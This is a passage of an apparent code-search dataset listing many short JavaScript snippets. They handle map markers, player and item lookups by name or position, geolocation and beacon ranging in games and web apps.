y]);\n\tnames.push(name);\n}","function getSpawnPosition(source) {\n var positions = getSamplePositions(source.room, source.pos, 5),\n closest;\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\n closest = source.pos.findClosestByPath(positions);\n return closest;\n}","function createBeacon() {\n\n // throws an error if the parameters are not valid\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\n\n return beaconRegion; \n}","function searchGameRoom(gamerooms,name){\n\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\n\t\tif(gamerooms[i].name === name){\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}","function findPlate(plate_name) {\n for(i = 0; i < ordered_plates.length; i++) {\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\n return ordered_plates[i];\n }\n }\n }","@wire(getRecord, { recordId: '$recordId', fields })\n loadBear({ error, data}){\n if(error){\n //Handle error\n } else if (data){\n //Get bear Data\n this.name = data.fields.Name.value;\n const Latitude = data.fields.Location__Latitude__s.value;\n const Longitude = data.fields.Location__Longitude__s.value;\n //Transformar bear data en map markers\n this.mapMarkers = [{\n location: {Latitude, Longitude},\n title: this.name,\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\n }];\n }\n }","function getSummonerName(){\n\n}","findClosest(mapItem) {\n let closestNames = [];\n\n this.state.mapTextItems.forEach(mapTextItem => {\n if (mapItem.regionId === mapTextItem.regionId) {\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\n closestNames.push({ text: mapTextItem.text, distance: distance });\n }\n });\n\n closestNames.sort(this.compare);\n return closestNames[0].text;\n }","if(snakes[1].loc.dist(food.loc) === 0){\n food.pickLoc();\n snakes[1].addSegment();\n\n}","function findVertex(name) {\n\t\tvar objects = alasql.databases[alasql.useid].objects;\n\t\tfor(var k in objects) {\n\t\t\tif(objects[k].name === name) {\n\t\t\t\treturn objects[k];\n\t\t\t}\n\t\t}\n\t\treturn undefined;\n\t}","map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\n { \n return { object_space_pos: \"positions\" }[ name ]; // Use a simple lookup table.\n }","function animatePoint(name) {\n for (let item in points){\n if (points[item].title == name) {\n points[item].setAnimation(google.maps.Animation.BOUNCE);\n showForsquareInfo(\n points[item].getPosition().lat(),\n points[item].getPosition().lng(),\n points[item].getTitle()\n );\n //Makes the marker bounce only once\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\n }\n }\n}","function place_player()\n{\n\tvar col;\n\tvar row;\n\t\n\tswitch(player_number)\n\t{\n\t\tcase 0:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 19;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 21;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tcol = 29;\n\t\t\trow = 19;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tcol = 27;\n\t\t\trow = 21;\n\t\t\tbreak;\n\t}\n\t\n\tvar player_text = Crafty.e(\"2D, DOM, Text\")\n\t\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\n\t\t.textColor('#FFFFFF')\n\t\t.text(list_of_users[player_number]);\n\t\t\n\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\n}","function itemByName (name) {\n return bot.inventory.items().filter(item => item.name === name)[0]\n}","function findMarker(buffer, position) {\n var index;\n for (index = position; index < buffer.length; index++) {\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\n return index;\n }\n return -1;\n}","who(currentPlayer, channel){\n let map = this.maps[currentPlayer.position]\n let nearbyPlayers = new Array()\n this.players.forEach(player => {\n if(player !== currentPlayer && player.position === currentPlayer.position){\n nearbyPlayers.push(player)\n }\n })\n return nearbyPlayers\n }","function addmarkerforpeaks() {\n for (var i = 0; i < snowCaps.peaks.length; i++) {\n // Get the position from the location array.\n var position = snowCaps.peaks[i].position;\n var title = snowCaps.peaks[i].name;\n //console.log(title,position);\n // Create a marker per location, and put into markers array.\n var marker = new google.maps.Marker({\n position: position,\n title: title,\n map: map,\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\n animation: google.maps.Animation.DROP,\n });\n // Push the marker to our array of markers.\n markers.push(marker);\n }\n}","function getPosFinder(pos){\n var posFinder = balloonpositionsarray[0].find(function(element) {\n return element == pos;\n });\n\n return posFinder;\n }","function locationName () {\n place.className = 'current-location';\n document.getElementsByTagName('body')[0].appendChild(place);\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\n // check for errors and using previous manual location\n if (usingPrevious) {\n changeLink.innerText = 'change';\n changeLink.href = '#';\n changeLink.className = 'last-known';\n changeLink.addEventListener('click', function (e) {\n e.preventDefault();\n Tab.changeLocation();\n });\n place.innerHTML = loc.formatted_address +\n 'Using last known location ';\n place.appendChild(changeLink);\n // console.log(changeLink)\n // TODO: add change location here\n } else {\n place.innerHTML = loc.formatted_address;\n }\n }","function collectPlayer(name) {\n if (name === game.players[game.turn].name) {\n setDrawer(game);\n } \n else {\n setGuesser(name);\n }\n \n }","born(x, y) {\n let l = createVector(x, y);\n let dna = new DNA();\n let name = this.makeid(8);\n console.log(name);\n this.creatures.push(new Creature(l, dna, name));\n }","try_to_match_local(data_received){\n\t\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\n\t\tsend_msg(data)\n\t}","function CurrentLocation() {\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \"Current Location\");\n }","function getKey_(position) \n{\n return \"key-\"+ OsmMaps.position.coords.latitude.toFixed(4) + \"-\" + OsmMaps.position.coords.longitude.toFixed(4);\n}","function markerPosition(position)\n{\n\tvar id = $('#'+position);\n\tif(turno)\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoA;\n\t\t\tnumJugadas1++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov1').text(numJugadas1);\n\t\t\tturno=false;\n\t\t\tif(isChampion(llenoA))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador1\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('numJugadas', numJugadas1);\n\n\t \t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador1\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoB;\n\t\t\tnumJugadas2++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov2').text(numJugadas2);\n\t\t\tturno=true;\n\t\t\tif(isChampion(llenoB))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador1\").val());\n\n\t\t\t\tlocalStorage.setItem('numJugadas',numJugadas2);\n\t\t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador2\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\n\t}\n}","function insertName1(){\n let playerSpan1 = $(`.Player1`)\n let playerInput1 = $(`input.button1`)\n \n playerInput1.on(`input`,function(){\n gameState.playerNames[0] = ($(this).val())\n playerSpan1.text(gameState.playerNames[0])\n return playerSpan1\n })\n}","function Start () {\n\tUpperLaser = GameObject.Find(\"MapScript\");\n\t//LowerLaser = GameObject.Find(\"MapScript02\");\n\tFlameThrower = GameObject.Find(\"FlameThrower\");\n\tBeam = GameObject.Find(\"MapScriptB\");\n\tTrapSpawn = GameObject.Find(\"TrapSpawn\");\n\t//Saw = GameObject.Find(\"ChainSaw\");\n}","openInfoWindow(marker, longName) {\n this.closeInfoWindow();\n this.state.infowindow.open(this.state.map, marker);\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\n this.setState({\n 'prevmarker': marker\n });\n this.state.infowindow.setContent('Loading Data...');\n this.state.map.setCenter(marker.getPosition());\n this.state.map.panBy(0, -150);\n if(longName.includes(\"Eric\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\n }\n if (longName.includes(\"Violet\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\n }\n else{\n this.getMarkerInfo(marker, longName);\n }\n }","function dropMarker(a, b, courtname){\n\tvar lat = a;\n\tvar lon = b;\n\tmyLatlng = new google.maps.LatLng(lat, lon);\n\tvar marker = new google.maps.Marker({\n\t\tposition: myLatlng,\n\t\tmap: map,\n\t\ttitle: courtname\n\t});\n\tmarker.setMap(map);\n}","function geocodeCords(positionObject) {\n var geocoder = new google.maps.Geocoder;\n posLat = positionObject.lat;\n posLng = positionObject.lng;\n cordsPos = posLat + \", \" + posLng;\n // cordsPos = positionObject;\n geocoder.geocode({'location': positionObject}, function (results, status) {\n if (status === 'OK') {\n if (results[1]) {\n namePos = (results[1].formatted_address);\n locationInput.value = namePos;\n addMarker(positionObject);\n } else {\n window.alert('No results found');\n }\n } else {\n window.alert('Geocoder failed due to: ' + status);\n }\n });\n }","function zControlBattleMapFollowGamer(position)\n{\n zObjectBattleMapLatLng[\"gamrLat\"] = position.coords.latitude;\n zObjectBattleMapLatLng[\"gamrLng\"] = position.coords.longitude;\n \n document.getElementById(\"map-info-crnt\").innerHTML = \"CRNT_LAT :{\" + zObjectBattleMapLatLng[\"crntLat\"] + \"}:CRNT_LNG :{\" + zObjectBattleMapLatLng[\"crntLng\"] + \"}:\";\n document.getElementById(\"map-info-gamr\").innerHTML = \"GAMR_LAT:{\" + zObjectBattleMapLatLng[\"gamrLat\"] + \"}:GAMR_LNG:{\" + zObjectBattleMapLatLng[\"gamrLng\"] + \"}:\";\n var date = new Date();\n document.getElementById(\"map-info-date\").innerHTML = \"DATE_TIME:{\" + date.getTime() + \"}:\";\n \n if(zObjectBattleMapLatLng[\"crntLat\"] != zObjectBattleMapLatLng[\"gamrLat\"]\n || zObjectBattleMapLatLng[\"crntLng\"] != zObjectBattleMapLatLng[\"gamrLng\"])\n {\n zObjectBattleMapGamer.setMap(null);\n \n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\"gamrLat\"], zObjectBattleMapLatLng[\"gamrLng\"]);\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\n \n zObjectBattleMapGamer = new google.maps.Marker(\n {\n position: zObjectBattleMapCenterLatLng,\n map: zObjectBattleMap,\n title: 'Hello World!'\n });\n \n zObjectBattleMapLatLng[\"crntLat\"] = zObjectBattleMapLatLng[\"gamrLat\"];\n zObjectBattleMapLatLng[\"crntLng\"] = zObjectBattleMapLatLng[\"gamrLng\"];\n }\n \n zControlHazardDistancetoGamer();\n \n zControlGamerMapStatus({\n\t code: 0, \n\t message: \"Good Map Status\",\n \ttimeofcoords: position.timestamp,\n \tmethod: \"zControlBattleMapFollowGamer\"\n\t});\n}","function updateName1OnDOM() {\n db.ref('Names/player1').once('value', function (snapshot) {\n name = snapshot.val();\n if (name !== null) {\n var a = $('

    ').html(name).addClass('center-block');\n $('.player1-name').empty().append(a);\n }\n });\n }","function quickBooking(){\n var closest_restaurant;\n\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function(position) {\n user_position = {\n lat: position.coords.latitude,\n lng: position.coords.longitude\n };\n }, \n function() {\n handleLocationError(true, infoWindow, map.getCenter());\n });\n } else {\n\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n\n // looks up restaurant coordinates in database and puts them in coordinateLookups callback variable.\n coordinateLookup(function(coordinateLookups){\n\n // create object containing users coords for comparison\n var origin = new google.maps.LatLng(user_position.lat,user_position.lng);\n\n // creates marker for each address in list of restaurant coordinates(coordinateLookups)\n // coordinateLookups also contains restaurant name\n coordinateLookups.forEach(function(lookup,element){\n\n // create object containing restaurantscoordinates for comparison\n var restaurant_location = new google.maps.LatLng(lookup.Longitude, lookup.Latitude);\n\n // if closest rstaurant to unser update closestRestaurant\n if (closestRestaurant(restaurant_location, origin)) {\n\n // updates the vueInstance variable of closestRestaurant\n vueInstance.closestRestaurant = lookup.Name;\n }\n }); \n\t\t \n\t // add booking to database (fuct. from entiresite.js)\n\t makeBooking('Quick');\n });\n }","spawnPlayer() {\n return this._getLocationInArea('player_spawn')\n }","function bmap(name,latt,long){\r\n if ((typeof latt==='undefined') || (typeof long==='undefined')) {return name;}\r\n return my_href(\"http://api.map.baidu.com/marker?location=\"+latt.toString()+\"%2C\"+long.toString()+\"&output=html&coord_type=gcj02&title=\"+name,name,\"bmap\");\r\n }","function placeBid(string name, uint bid) payable {\n\n if (now-createdAt < duration){\n\n if (bid => highBidder){ // Consider the case when there is no bid ???\n highBidder = msg.sender; // ??\n // push bidder where bidder[i].bidder (address)\n bidders.push(msg.sender);\n HighBidChanged(msg.sender, name, bid);\n // biddersMapping[msg.sender].name = name;\n // biddersMapping[msg.sender].bidder = msg.sender; // address\n // biddersMapping[msg.sender].bid = bid;\n // biddersMapping[msg.sender].claimedEthers = false; // at the end of the bidding\n }\n } else {\n BidFailed (msg.value, name, bid )\n throw;\n }\n\n }","function getAsteroidTarget(spawnLocation) {\n var closest = [0,0,0];\n var dist = 100;\n var temp = 0;\n for (t in station_centers) {\n temp = vec3.length(vec3.subtract(vec3.create(), vec3.fromValues(station_centers[t][0], station_centers[t][1],\n station_centers[t][2]), vec3.fromValues(spawnLocation[0], spawnLocation[1], spawnLocation[2])));\n if (temp < dist) {\n dist = temp;\n closest = station_centers[t];\n }\n }\n return closest;\n}","get boatName() { \n return getFieldValue(this.wiredRecord.data, BOAT_NAME_FIELD);\n }","function makeMarker(position, icon, name) {\n new google.maps.Marker({\n position: position,\n map: gmap,\n icon: icon,\n title: name\n });\n}","function findOrigin(element) {\n if (element === startStation){\n return element\n }\n}","getAddressField(telegram) {\n let values = telegram.getValues();\n\n return values.has('BLOCK1_A') ?\n values.get('BLOCK1_A') : null;\n }","function getPosition(letra){\n let position = abd.indexOf(letra);\n return position;\n}","function findForChar(val)\n{\n\n \n listTitle=[];\n listCoord=[];\n let flag = false;\n for(let x=0; x-1)\n {\n listTitle[x]=locationTitle[x]; \n listCoord[x]=locationCoord[x];\n flag=true; \n }\n }\n \n}","function getMockup(e, positionInfo) {\n return { \n index: e.index,\n name: e.label, \n x: rounder(e.x),\n y: rounder(e.y),\n color: e.color,\n shape: e.shape,\n size: rounder(e.size),\n realSize: rounder(e.realSize),\n facing: rounder(e.facing),\n layer: e.layer,\n statnames: e.settings.skillNames,\n position: positionInfo,\n guns: e.guns.map(function(gun) {\n return {\n offset: rounder(gun.offset),\n direction: rounder(gun.direction),\n length: rounder(gun.length),\n width: rounder(gun.width),\n aspect: rounder(gun.aspect),\n angle: rounder(gun.angle),\n };\n }),\n turrets: e.turrets.map(function(t) { \n let out = getMockup(t, {});\n out.sizeFactor = rounder(t.bound.size);\n out.offset = rounder(t.bound.offset);\n out.direction = rounder(t.bound.direction);\n out.layer = rounder(t.bound.layer);\n out.angle = rounder(t.bound.angle);\n return out;\n }),\n };\n }","findTypedLetterByPosition(position) {\n let result = this.typedLetters.find(typedLetter => {\n return typedLetter.position.x === position.x && typedLetter.position.y === position.y;\n });\n\n if (typeof result === 'undefined') {\n result = null;\n }\n\n return result;\n }","function insertMarkerToDB(location, name) {\n $.ajax({\n type: 'GET',\n url: '/MapPoint/create.json',\n data: {\n latitude: location.lat,\n longitude: location.lng,\n name: name\n },\n success: function(data) {\n //console.log('RESULT: ' + JSON.stringify(data));\n }\n });\n }","function getParticipantObjByName(match, name) {\n var participants = match['participants'];\n var pids = match['participantIdentities'];\n var pid = -1;\n for(i = 0; i < pids.length; i++) {\n if(pids[i]['player']['summonerName'] == name) {\n pid = pids[i]['participantId'];\n break;\n }\n }\n return participants[pid-1];\n}","function createMarker(r){\n self.showDiv(true);\n var position, lat, lng;\n lat = parseFloat(r.location.latitude);\n lng = parseFloat(r.location.longitude);\n position = new google.maps.LatLng(lat, lng);\n /*if(placeBounds.contains(position))\n {*/\n var marker = new google.maps.Marker({\n map: map,\n position: position,\n title: r.name,\n animation: google.maps.Animation.DROP,\n });\n bounds.extend(marker.getPosition());\n\n\n var contentString = '
    ' +\n '' +\n '

    ' + r.name + '

    ' +\n '

    ' + r.location.address + '

    ' +\n '

    Average cost for two: $' +\n r.average_cost_for_two + '

    ' +\n '

    Rating: ' +\n r.user_rating.aggregate_rating + '

    ' +\n '' + 'Menu Url';\n var address = r.location.address;\n\n var newMarker = {marker:marker, content:contentString};\n\n // Create an onclick event to open an infowindow at each marker.\n marker.addListener('click', function() {\n hideAnimation();\n marker.setAnimation(google.maps.Animation.BOUNCE);\n populateInfoWindow(this, largeInfowindow, contentString);\n });\n return newMarker;\n //}\n } // end of createMarker","function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\n{\n model.player1.name=value;\n var index = model.winners.find(winners => winners.name == value)\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\n}","function onLocationFound(location){\n\n\t// Update the model with the coordinate pair for use later.\n\tapp.position = location;\n\n\t// If successful, find all nearby brunch locations at those coordinates.\n findNearbyBrunchLocations(location.coords);\n\n}"],"string":"[\n \"function getNewdidFromPos(position) {\\n\\t//flag ( \\\"getNewdidFromPos():: Started! Called for position: \\\" + position );\\n\\t//a=GM_getValue(myacc())\\n\\tvar allVillagePos = GM_getValue(myacc() + \\\"_allVillagePos2\\\").split(\\\",\\\");\\n\\t//flag ( \\\"getNewdidFromPos: allVillagePos=\\\"+allVillagePos+\\\";\\\");\\n\\tfor (var i = 0; i < allVillagePos.length; i++) {\\n\\t\\tvar tt = allVillagePos[i].split(\\\":\\\");\\n\\t\\tif ( tt[1] == position) {\\n\\t\\t\\treturn tt[0];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\treturn null;\\n}\",\n \"function findBeacons() {\\n\\tvar room = \\\"\\\";\\n\\t/*[] values;\\n\\tfor(var i=0;i>10;i++) {*/\\n\\t\\tBeacon.rangeForBeacons(\\\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\\\")\\n\\t\\t.then(function(beacons_found) {\\n\\t\\t // $(\\\"#beacon-list\\\").empty();\\n\\t\\t var maxRSSI = 100;\\n\\t\\t for(beaconIndex in beacons_found) {\\n\\t\\t var beacon = beacons_found[beaconIndex]; \\n\\t\\t /* var beaconDiv = $(\\\"
    \\\").html(\\\"Major: \\\" + beacon.major + \\n\\t\\t \\\"; Minor: \\\" + beacon.minor + \\n\\t\\t \\\"; RSSI: \\\" + (beacon.rssi*-1));\\n\\t\\t\\n\\t\\t $(\\\"#beacon-list\\\").append(beaconDiv);*/\\n\\t\\t if(beacon.rssi*-1 < maxRSSI) {\\n\\t\\t \\t room = getRoomName(beacon.minor);\\n\\t\\t \\t maxRSSI = beacon.rssi*-1;\\n\\t\\t }\\n\\t\\t }\\n\\t\\t $(\\\"#myLocation\\\").text(/*\\\"Ole Johan Dahls Hus\\\" + */room);\\n\\t\\t if(room == \\\"\\\") {\\n\\t\\t\\t setOffline();\\n\\t\\t }\\n\\t\\t newLocation(room);\\n\\t\\t})\\n\\t\\t.fail(function() {\\n\\t\\t alert(\\\"failed serching for beacons!\\\");\\n\\t\\t setOffline();\\n\\t\\t});\\n\\t//}\\n}\",\n \"function searchObject(type){\\n\\tvar target;\\n console.log(\\\"123\\\");\\n\\tif(type==\\\"beacon\\\"){\\n\\t\\t target=beaconMap[document.getElementById('beaconSearch').value];\\n\\t}else{\\n\\t\\t target=reporterMap[document.getElementById('reporterSearch').value];\\n console.log(target);\\n\\t}\\n\\t toggleBounce(target.marker);\\n map.panTo(target.getPosi(),3000);\\n if(map.getZoom()<17){\\n\\t map.setZoom(17);\\n\\t}\\n var date = new Date(target.time*1000);\\n\\t\\n document.getElementById(\\\"beaconInfo\\\").innerHTML=\\\"

    Loggy: \\\"+target.mac+\\\"

    \\\"+\\\"

    Latitude: \\\"+target.lat+\\\"
    \\\"+\\\"Longitude: \\\"+target.lng+\\\"
    Last Update: \\\"+date.getFullYear()+\\\"-\\\"+(date.getMonth()+1)+\\\"-\\\"+date.getDate()+\\\" \\\"+date.getHours()+\\\":\\\"+date.getMinutes()+\\\":\\\"+date.getSeconds()+\\\"

    \\\";\\n \\n}\",\n \"function locate_iBeacons() {\\n kony.print(\\\"--Start locate_iBeacons--\\\");\\n if (beaconManager === null) {\\n kony.print(\\\"--creating beaconManager--\\\");\\n beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback);\\n kony.print(\\\"--beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback)--\\\");\\n beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);\\n kony.print(\\\"--beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);--\\\");\\n beaconManager.setAuthorizationStatusChangedCallback(authorizationStatusChangedCallback);\\n }\\n if (beaconManager.authorizationStatus() != \\\"BeaconManagerAuthorizationStatusAuthorized\\\") {\\n kony.print(\\\"Unathorized to use location services\\\");\\n }\\n if (!beaconManager.isMonitoringAvailableForBeaconRegions()) {\\n kony.print(\\\"Monitoring not available\\\");\\n return;\\n }\\n if (!beaconManager.isRangingAvailableForBeaconRegions()) {\\n kony.print(\\\"Ranging not available\\\");\\n return;\\n }\\n var proximityUUID = \\\"CAD6ACBA-9D1C-4772-90AA-0FEEF6868D30\\\";\\n var identifier = \\\"com.kone.LatestKMSDemo\\\"\\n var beaconRegion = new com.kony.BeaconRegion(proximityUUID, null, null, identifier);\\n beaconRegion.setNotifyEntryStateOnDisplay(true);\\n beaconManager.startMonitoringBeaconRegion(beaconRegion);\\n}\",\n \"findFriendIdByName( nameToSearch ) {\\n let friendId = this.ItemNotFound;\\n let list = this.state[this.townName];\\n \\n for( let indx=0; indx {\\n if(player_info != undefined && player_info.team != undefined && player_info.position != undefined)\\n {\\n const { player_id, fullname, image_path, position_id } = player_info;\\n if(fullname.includes(player_name))\\n {\\n if( player_info.position.data.name == position_name)\\n {\\n const { name } = player_info.team.data;\\n if(player_info.team.data.league != undefined)\\n {\\n const {id} = player_info.team.data.league.data;\\n if(id == 271) \\n {\\n return {\\n id: player_id,\\n name: fullname,\\n image: image_path,\\n position: position_id,\\n position_name: player_info.position.data.name,\\n team_name: name, \\n };\\n }\\n }\\n }\\n } \\n }\\n }); \\n }\",\n \"searchByName( nameToSearch ) {\\n let itemId = this.ItemNotFound;\\n let list = this.state[this.townName];\\n let nameToSearchLowerCase = nameToSearch.toLocaleLowerCase();\\n let nameToSearchSplit = nameToSearchLowerCase.split(' ');\\n let name0ToSearch = nameToSearchSplit[0];\\n let name1ToSearch = nameToSearchSplit[1];\\n \\n \\n for( let indx=0; indx npc.id == name);\\r\\n\\r\\n\\tif (npc.length > 0) {\\r\\n\\t\\treturn npc[0];\\r\\n\\t}\\r\\n\\r\\n\\treturn null;\\r\\n}\",\n \"function searchByName(name) {\\n var testName = name.toLowerCase();\\n if (testName===\\\"bar\\\"||\\\"bars\\\"||\\\"restaurant\\\"||\\\"restaurants\\\"||\\\"food\\\"||\\\"beer\\\") {\\n var request = {\\n location: pos,\\n radius: '500',\\n type: ['bar', 'restaurant']\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.nearbySearch(request, callback);\\n } else {\\n var request = {\\n query: name,\\n fields: ['photos', 'formatted_address', 'name', 'rating', 'opening_hours', 'geometry'],\\n locationBias: {radius: 50, center: pos}\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.findPlaceFromQuery(request, callback);\\n };\\n}\",\n \"function get_npc(name) {\\n var npc = parent.G.maps[character.map].npcs.filter(npc => npc.id == name);\\n\\n if (npc.length > 0) {\\n return npc[0];\\n }\\n\\n return null;\\n}\",\n \"function find_closest_asset_address(player_enter_x, player_enter_z) {\\n var closest_distance = 9999999;\\n\\n var closet_coor = null;\\n\\n // for each coordinate our coordinate map\\n for (var i = 0; i < coordinate_map.length; i++) {\\n var coor = coordinate_map[i]\\n\\n // determine the distance from that coordinate to the player enter position\\n var distance = find_distance(player_enter_x, player_enter_z, coor.x, coor.z)\\n\\n // if this coordinate is closer set it as our closest\\n if (distance < closest_distance) {\\n closest_distance = distance\\n closet_coor = coor;\\n }\\n }\\n\\n // return the address of the closest coordinate\\n if (closet_coor != null) {\\n return closet_coor.address\\n } else {\\n return \\\"\\\";\\n }\\n}\",\n \"function getBpFromName(name) {\\n\\tconsole.log(storyCardFaceUp);\\n\\tconsole.log(storyCardFaceUp.foe);\\n\\tconsole.log(name);\\n\\tfor (var i = 0; i < cardTypeList.length; i++) {\\n\\t\\t// console.log(cardTypeList[i]);\\n\\t\\t// console.log(name);\\n\\t\\tif (cardTypeList[i].name === name)\\n\\t\\t\\tif (cardTypeList[i].hasOwnProperty('bp')) {\\n\\t\\t\\t if(storyCardFaceUp.foe === name) return cardTypeList[i].bonusbp;\\n\\t\\t\\t return cardTypeList[i].bp;\\n\\t\\t\\t}\\n\\t}\\n\\treturn \\\"card not found\\\";\\n}\",\n \"function rangingCallback(beaconRegion, beacons) {\\n kony.print(\\\"Beacons found for BeaconRegion: \\\", kony.type(beaconRegion), \\\" \\\", beaconRegion, \\\" Beacons: \\\", beacons);\\n var beaconLabel = \\\"No beacons\\\";\\n var proximityLabel = \\\"...\\\";\\n if (beacons.length > 0) {\\n beacon = beacons[0];\\n proximityUUIDString = beacon.getProximityUUIDString();\\n major = beacon.getMajor();\\n minor = beacon.getMinor();\\n beaconLabel = beacon.getProximityUUIDString() + \\\" \\\" + beacon.getMajor() + \\\" \\\" + beacon.getMinor();\\n proximityLabel = beacon.getProximity();\\n }\\n if ((prevProximityUUIDString != proximityUUIDString) && (ksid != null)) {\\n beaconUpdate();\\n }\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n // console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"addMarker(level, openings, itemObj, startPosX = -1, startPosY = -1) {\\n let startPos = startPosX + startPosY;\\n if (startPos >= 0 && openings.indexOf(startPos) === -1 && startPos < this.maze.length) {\\n level[startPos] = itemObj;\\n }\\n else {\\n let randomCell = Math.floor(Math.random() * openings.length);\\n let addMarkerPosn = openings.splice(randomCell, 1)[0];\\n level[addMarkerPosn] = itemObj;\\n }\\n }\",\n \"function updateMap(time){\\n // console.log(\\\"----------------------------\\\");\\n if(showBeacon){\\n var position1 = JSON.parse(httpGet(beaconPosiSource)); //two dimensional JSON array\\n // console.log(\\\"----------------------------\\\");\\n var position = new ibeaconBeanGroup(position1).getAllBestLocations();\\n\\n // console.log(position1);\\n \\n // console.log(position);\\n\\n\\t\\tfor(var i=0;i {console.error(err);})\\n }else{\\n let position = this.maps[currentPlayer.position]\\n if(position){\\n let availableInteractions =''\\n if(position.interactions){\\n availableInteractions = this.utils.generateInteractionsListString(position.interactions.filter(interaction => {\\n return !currentPlayer.interactionsDone.includes(interaction.name.name)\\n }))\\n }\\n let itemList =''\\n if(this.maps[currentPlayer.position].userItems.length > 0){\\n itemList = 'Other items on the ground:\\\\n'\\n this.maps[currentPlayer.position].userItems.forEach(currentItem => {\\n itemList+=`${currentItem.name.name}\\\\n`\\n })\\n }\\n let nearbyPlayers = this.utils.generateWhoString(this.who(currentPlayer, channel))\\n channel.send(position.description+'\\\\n'+availableInteractions+'\\\\n'+nearbyPlayers+'\\\\n'+itemList).catch(err => {console.error(err);})\\n }else{\\n console.error('Current position '+currentPlayer.position);\\n console.error(this.maps);\\n }\\n\\n }\\n //TODO: Add descriptions for the things that need a pass and the pass is owned by the player\\n }\",\n \"map_attribute_name_to_buffer_name( name ) \\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function addSingleMaker(){\\n\\tmarker = new google.maps.Marker({\\n\\t\\tposition:{\\n\\t\\t\\tlat: -41.295005,\\n\\t\\t\\tlng: 174.78362\\n\\t\\t},\\n\\t\\tmap: map,\\n\\t\\tanimation: google.maps.Animation.DROP,\\n\\t\\ticon: \\\"img/person.png\\\",\\n\\t\\ttitle : \\\"Yoobee School of Design\\\",\\n\\t\\tdescription: \\\"Description for Yoobee School of Design\\\"\\n\\t})\\n}\",\n \"getPlayerByName(playerName) {\\n return this.players.find((value) => {\\n return (value._player.name === playerName);\\n });\\n 